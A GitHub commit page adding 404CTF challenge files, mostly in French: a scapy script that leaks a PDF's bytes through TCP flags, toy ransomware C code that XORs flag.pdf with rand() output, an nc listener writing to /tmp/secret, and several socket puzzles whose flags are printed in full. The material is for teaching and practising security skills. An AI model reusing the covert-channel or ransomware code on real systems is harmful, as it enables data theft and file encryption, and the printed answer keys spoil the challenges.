Skip to content

Commit

Permalink
Add mh4ckt3mh4ckt1c4s' challenges
Browse files Browse the repository at this point in the history
  • Loading branch information
mh4ckt3mh4ckt1c4s committed Jun 11, 2022
1 parent 9424bb5 commit 6001f62
Show file tree
Hide file tree
Showing 57 changed files with 16,373 additions and 0 deletions.
Binary file added Ransomware/Ransomware1/blank_flag.pdf
Binary file not shown.
27 changes: 27 additions & 0 deletions Ransomware/Ransomware1/challenge1.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
#!/usr/bin/python3.10
from scapy.all import *

flags = {
0x01:"F",
0x02:"S",
0x04:"R",
0x08:"P",
0x10:"A",
0x20:"U",
0x40:"E",
0x80:"C"
}

with open("flag.pdf", "rb") as f:
data = f.read()

for byte in data:

data_to_flags = ""
for i in range(8):
if byte & 2**i != 0:
data_to_flags += flags[2**i]


p = IP(dst="172.17.0.2") / TCP(dport=1337, flags=data_to_flags)
send(p)
Binary file added Ransomware/Ransomware1/flag.pdf
Binary file not shown.
Binary file added Ransomware/Ransomware1/ransomware1.pcapng
Binary file not shown.
4 changes: 4 additions & 0 deletions Ransomware/Ransomware2/JeNeSuisPasDuToutUnFichierMalveillant
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
import os

os.system("nc -lvnp 13598 > /tmp/secret")

7 changes: 7 additions & 0 deletions Ransomware/Ransomware2/challenge.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
Ce challenge est un dump volatility créé avec une vieille VM ubuntu. Il faut retrouver :
- un nom de binaire
- une ip
- un port
- un lien vers une ressource malveillante

404CTF{10.0.2.1:13598:JeNeSuisPasDuToutUnFichierMalveillant:https://www.youtube.com/watch?v=3Kq1MIfTWCE}
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added Ransomware/Ransomware3/Images/kitty_cute1.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added Ransomware/Ransomware3/Images/kitty_cute2.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added Ransomware/Ransomware3/data.zip
Binary file not shown.
18 changes: 18 additions & 0 deletions Ransomware/Ransomware3/generate_passwords.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
import csv
from string import printable
from random import randrange

f = open("pass.csv", "w")
with open("/opt/SecLists/Usernames/xato-net-10-million-usernames.txt", "r") as g:
usernames = g.readlines()
with open("/opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt", "r") as g:
domains = g.readlines()

extensions = ["com", "xyz", "fr", "org", "net", "uk", "bzh", "io", "ru"]

writer = csv.writer(f)
for i in range(15427):
password = "".join([printable[:75][randrange(75)] for i in range(20)]).strip()
url = f"https://{domains[randrange(len(domains))].strip()}.{extensions[randrange(len(extensions))].strip()}"
user = usernames[randrange(len(usernames))].strip()
writer.writerow([user, password, url])
15,427 changes: 15,427 additions & 0 deletions Ransomware/Ransomware3/pass.csv

Large diffs are not rendered by default.

2 changes: 2 additions & 0 deletions Ransomware/Ransomware3/passwords
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
agentkitty
Agentkitty3
Binary file added Ransomware/Ransomware3/stockage.kdbx
Binary file not shown.
Binary file added Ransomware/Ransomware4/flag.pdf
Binary file not shown.
Binary file added Ransomware/Ransomware4/flag.pdf.enc
Binary file not shown.
Binary file added Ransomware/Ransomware4/ransomware
Binary file not shown.
50 changes: 50 additions & 0 deletions Ransomware/Ransomware4/ransomware.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
/*
* Bonjour, agent !
* Nous avons réussi à reconstituer ce code depuis le binaire du ransomware qui se trouvait sur nos machines.
* Hélas, la clé de chiffrement est aléatoire et le département crypto dit que c'est sans espoir.
* Vous pensez pouvoir faire quelque chose ?
* Quelques informations : le ransomware tournait sur nos machines qui possèdent une architecture AMD x86_64, avec un système d'exploitation Linux.
* Aussi, nous n'avons pas réussi à récupérer le seed utilisé, donc nous avons fait en sorte que vous puissiez le choisir pour expérimenter.
* Bonne chance !
*/

#include <stdio.h>
#include <stdlib.h>

// Code récupéré du ransomware Hackllebarde
int main(int argc, char** argv)
{
// Cette partie du code a été rajoutée pour remplacer le seed qui a été perdu
if (argc != 2) {
perror("Nombre d'arguments invalide !");
exit(1);
}
// peut échouer, mettez les bons arguments !
int seed = strtol(argv[1], NULL, 10);
// à partir de ce point, tout le code est celui récupéré et reconstitué du ransomware.
// (excepté les commentaires)
char array[8];
initstate(seed, array, 27);
FILE* file = fopen("./flag.pdf", "rb");
FILE* encryptedfile = fopen("./flag.pdf.enc", "wb");
if (file == NULL || encryptedfile == NULL) {
perror("Files cannot be opened ! Hackllebarde ransomware have failed :-(");
exit(1);
}
int key, len;
char data[4];
char* keychar;
while ((len = fread(&data, sizeof(char), 4, file)) == 4) {
// on ne peut rien faire contre une clé 100% aléatoire !!!
key = rand();
keychar = (char*)&key;
for(int i=0; i<len; i++) {
data[i] ^= keychar[i];
}
fwrite(&data, sizeof(char), 4, encryptedfile);
}
fclose(file);
fclose(encryptedfile);
puts("Hackllebarde ransomware is a success ! :-D");
return(0);
}
12 changes: 12 additions & 0 deletions code128/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
FROM alpine/socat:latest

# Tous les paquets 'bizarres' sont là pour permettre l'installation de pillow
RUN apk add python3 py3-pip gcc python3-dev jpeg-dev zlib-dev musl-dev
RUN pip3 install pillow inputimeout
RUN adduser ctf --disabled-password
COPY chall.py /home/ctf

USER ctf
WORKDIR /home/ctf
EXPOSE 4000
CMD ["tcp-listen:4000,reuseaddr,fork", "exec:'python3 chall.py'"]
101 changes: 101 additions & 0 deletions code128/chall.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,101 @@
from PIL import Image
import base64
import string
import random
from inputimeout import inputimeout, TimeoutOccurred
import io

CharSetB = {
' ':0, '!':1, '"':2, '#':3, '$':4, '%':5, '&':6, "'":7,
'(':8, ')':9, '*':10, '+':11, ',':12, '-':13, '.':14, '/':15,
'0':16, '1':17, '2':18, '3':19, '4':20, '5':21, '6':22, '7':23,
'8':24, '9':25, ':':26, ';':27, '<':28, '=':29, '>':30, '?':31,
'@':32, 'A':33, 'B':34, 'C':35, 'D':36, 'E':37, 'F':38, 'G':39,
'H':40, 'I':41, 'J':42, 'K':43, 'L':44, 'M':45, 'N':46, 'O':47,
'P':48, 'Q':49, 'R':50, 'S':51, 'T':52, 'U':53, 'V':54, 'W':55,
'X':56, 'Y':57, 'Z':58, '[':59, '\\':60, ']':61, '^':62, '_':63,
'' :64, 'a':65, 'b':66, 'c':67, 'd':68, 'e':69, 'f':70, 'g':71,
'h':72, 'i':73, 'j':74, 'k':75, 'l':76, 'm':77, 'n':78, 'o':79,
'p':80, 'q':81, 'r':82, 's':83, 't':84, 'u':85, 'v':86, 'w':87,
'x':88, 'y':89, 'z':90, '{':91, '|':92, '}':93, '~':94, '\x7F':95,
'FNC3':96, 'FNC2':97, 'SHIFT':98, 'Code C':99, 'FNC4':100, 'Code A':101, 'FNC1':102, 'START A':103,
'START B':104, 'START C':105, 'STOP':106
}

ValueEncodings = { 0:'11011001100', 1:'11001101100', 2:'11001100110',
3:'10010011000', 4:'10010001100', 5:'10001001100',
6:'10011001000', 7:'10011000100', 8:'10001100100',
9:'11001001000', 10:'11001000100', 11:'11000100100',
12:'10110011100', 13:'10011011100', 14:'10011001110',
15:'10111001100', 16:'10011101100', 17:'10011100110',
18:'11001110010', 19:'11001011100', 20:'11001001110',
21:'11011100100', 22:'11001110100', 23:'11101101110',
24:'11101001100', 25:'11100101100', 26:'11100100110',
27:'11101100100', 28:'11100110100', 29:'11100110010',
30:'11011011000', 31:'11011000110', 32:'11000110110',
33:'10100011000', 34:'10001011000', 35:'10001000110',
36:'10110001000', 37:'10001101000', 38:'10001100010',
39:'11010001000', 40:'11000101000', 41:'11000100010',
42:'10110111000', 43:'10110001110', 44:'10001101110',
45:'10111011000', 46:'10111000110', 47:'10001110110',
48:'11101110110', 49:'11010001110', 50:'11000101110',
51:'11011101000', 52:'11011100010', 53:'11011101110',
54:'11101011000', 55:'11101000110', 56:'11100010110',
57:'11101101000', 58:'11101100010', 59:'11100011010',
60:'11101111010', 61:'11001000010', 62:'11110001010',
63:'10100110000', 64:'10100001100', 65:'10010110000',
66:'10010000110', 67:'10000101100', 68:'10000100110',
69:'10110010000', 70:'10110000100', 71:'10011010000',
72:'10011000010', 73:'10000110100', 74:'10000110010',
75:'11000010010', 76:'11001010000', 77:'11110111010',
78:'11000010100', 79:'10001111010', 80:'10100111100',
81:'10010111100', 82:'10010011110', 83:'10111100100',
84:'10011110100', 85:'10011110010', 86:'11110100100',
87:'11110010100', 88:'11110010010', 89:'11011011110',
90:'11011110110', 91:'11110110110', 92:'10101111000',
93:'10100011110', 94:'10001011110', 95:'10111101000',
96:'10111100010', 97:'11110101000', 98:'11110100010',
99:'10111011110',100:'10111101110',101:'11101011110',
102:'11110101110',103:'11010000100',104:'11010010000',
105:'11010011100',106:'11000111010'
}

flag = "404CTF{W0w_c0d3_128_4_pLUs_4uCuN_s3cr3t_p0uR_t01}"

alphabet = string.ascii_letters + string.digits

for nb_fois in range(128):
# préparation de l'image
answer = "".join([alphabet[random.randrange(len(alphabet))] for i in range(random.randrange(10, 40))])
img = Image.new("RGB", (len(answer) * 11, 100), color="white")
for c in range(len(answer)):
for i in range(11):
if ValueEncodings[CharSetB[answer[c]]][i] == "1":
for j in range(100):
img.putpixel((c * 11 + i, j), (0, 0, 0))

raw_data = io.BytesIO()
img.save(raw_data, "PNG")
data = base64.b64encode(raw_data.getvalue())

# send challenge
print(f"[{nb_fois}/128] Il paraît qu'il y a un mot de passe dans cette image... Peux-tu m'aider ? Vite vite vite !!!")
print(data.decode())
# l'utilisateur a une seconde pour répondre
try:
user_answer = inputimeout(prompt='>> ', timeout=5)
except:
print("Trop tard ! Je n'ai pas pu ouvrir la porte à temps, l'alarme retentit !")
exit()
# vérification de la réponse
if user_answer == answer:
print("Ouf, merci ! C'est le bon code ! Je fonce vers la porte suivante !")
else:
print("Oh non ! C'est le mauvais mot de passe ! L'alarme retentit !")
exit()

# si on est là, c'est qu'on a réussi les 128 codes
print("Oh merci merci merci ! Me voilà enfin libre ! Voilà un cadeau pour te remercier :")
print(flag)


31 changes: 31 additions & 0 deletions compression/chall.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
import tarfile
import random
import os
import gc

FLAG = "404CTF{C0mPr3Ssi0n_m4X1m4L3_m41S_p4S_3ff1C4c3}"

filename = "flag.txt"
with open(filename, "w") as f:
f.write(FLAG)

mode = ""
for i in range(1, 2501):
r = random.randrange(4)
match r:
case 0:
mode = "x:gz"
case 1:
mode = "x:bz2"
case 2:
mode = "x:xz"
case 3:
mode = "x"
old = filename
filename = f"flag{i}.tar{mode.replace(':', '.')[1:]}"
with tarfile.open(filename, mode=mode) as f:
f.add(old)
os.remove(old)
print(f"{i}/2500")
if i % 100 == 0:
gc.collect()
Binary file added compression/flag2500.tar.gz
Binary file not shown.
12 changes: 12 additions & 0 deletions donnees-corrompues/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
FROM alpine/socat:latest

# Tous les paquets 'bizarres' sont là pour permettre l'installation de pillow
RUN apk add python3 py3-pip gcc python3-dev
RUN pip3 install inputimeout
RUN adduser ctf --disabled-password
COPY chall /home/ctf

USER ctf
WORKDIR /home/ctf
EXPOSE 4000
CMD ["tcp-listen:4000,reuseaddr,fork", "exec:'python3 chall.py'"]
77 changes: 77 additions & 0 deletions donnees-corrompues/chall/chall.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
import base64
import string
import random
from inputimeout import inputimeout, TimeoutOccurred
import io

alphabet = string.ascii_letters + string.digits
# Homoglyphes
badchar = {
"a": "а",
"A": "А",
"B": "В",
"e": "е",
"H": "Н",
"K": "К",
"o": "о",
"p": "р",
"c": "с",
"T": "Т",
"x": "х",
"y": "у"
}

chartotransform = list(badchar.keys())
charentrop = string.punctuation.replace("=", "").replace("/", "").replace("+", "")

with open("flag.mp3", "rb") as f:
flag = f.read()

lenpacket = len(flag) // 250
data = [flag[lenpacket*i:(i+1)*lenpacket] for i in range(249)]
data.append(flag[lenpacket*249:])
assert(flag == b"".join(data))

print("Oulah, ces données semblent bien étranges ! Pouvez-vous les décoder pour nous ?")
print("Il faut nous renvoyer les octets sous forme binaire (avec les zéros inutiles), tout collé, sans aucun autre caractère !")
print("Un exemple qu'a réussi à reconstituer notre groupe d'experts :")
print("L'entrée : Rmх%hZуА*6KQ")
print("Doit donner en sortie : 01000110011011000110000101100111001000000011101000101001")
print()
for nb_fois in range(250):
print(f"[{nb_fois+1} / 250] Voilà les données : ", end="")
packet = base64.b64encode(data[nb_fois]).decode()
char_en_trop = random.random()
char_nul = random.random()
strip_egal = random.random()
if char_en_trop < 0.5:
n = random.randrange(1, 10)
for i in range(n):
r = random.randrange(len(packet)-1)
packet = packet[:r] + charentrop[random.randrange(28)] + packet[r:]
if char_nul < 0.6:
n = random.randrange(10)
for i in range(n):
c = chartotransform[random.randrange(12)]
packet = packet.replace(c, badchar[c])
if strip_egal < 0.4:
packet = packet.replace("=", "")
print(packet)
# l'utilisateur a 5 secondes pour répondre
try:
user_answer = inputimeout(prompt='>> ', timeout=5)
except:
print("Mmh, ça m'a pas l'air d'être ça... Réessaie !!")
exit()
# vérification de la réponse
if user_answer == "".join([bin(c)[2:].zfill(8) for c in data[nb_fois]]):
print("Ca semble bon ! Voilà la suite !")
else:
print("Aie, je pense qu'il y a un problème ! Réessaie !")
exit()

# si on est là, c'est qu'on a réussi
print("Wouaouh, tu as réussi ! Tu peux maintenant utiliser ces données pour obtenir le flag ! Il suffit de les assembler... ;-)")



Binary file added donnees-corrompues/chall/flag.mp3
Binary file not shown.
1 change: 1 addition & 0 deletions donnees-corrompues/flag.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
l4_b4s3_64_3ff1c4c3_m41s_c4pr1c13us3
1 change: 1 addition & 0 deletions du-gateau/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
__pycache__/
9 changes: 9 additions & 0 deletions du-gateau/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
FROM bitnami/python

WORKDIR /app
COPY . .
RUN pip install -r requirements.txt
RUN chmod u+x server.sh

EXPOSE 80
CMD ["./server.sh"]
5 changes: 5 additions & 0 deletions du-gateau/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
# Challenge de web basé sur des cookies

Plusieurs étapes pour réussir à crafter un cookie admin, récupérer le hash, bypass les filtres et obtenir le flag

**Attention : pour un déploiement en prod, il faut obligatoirement du https pour que le JS du check de mdp dans `templates/forgot_password.html` puisse fonctionner**
4 changes: 4 additions & 0 deletions du-gateau/requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
Flask
Werkzeug
Jinja2
gunicorn
4 changes: 4 additions & 0 deletions du-gateau/run.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
from server import app

if __name__ == "__main__":
app.run()
Loading

0 comments on commit 6001f62

Please sign in to comment.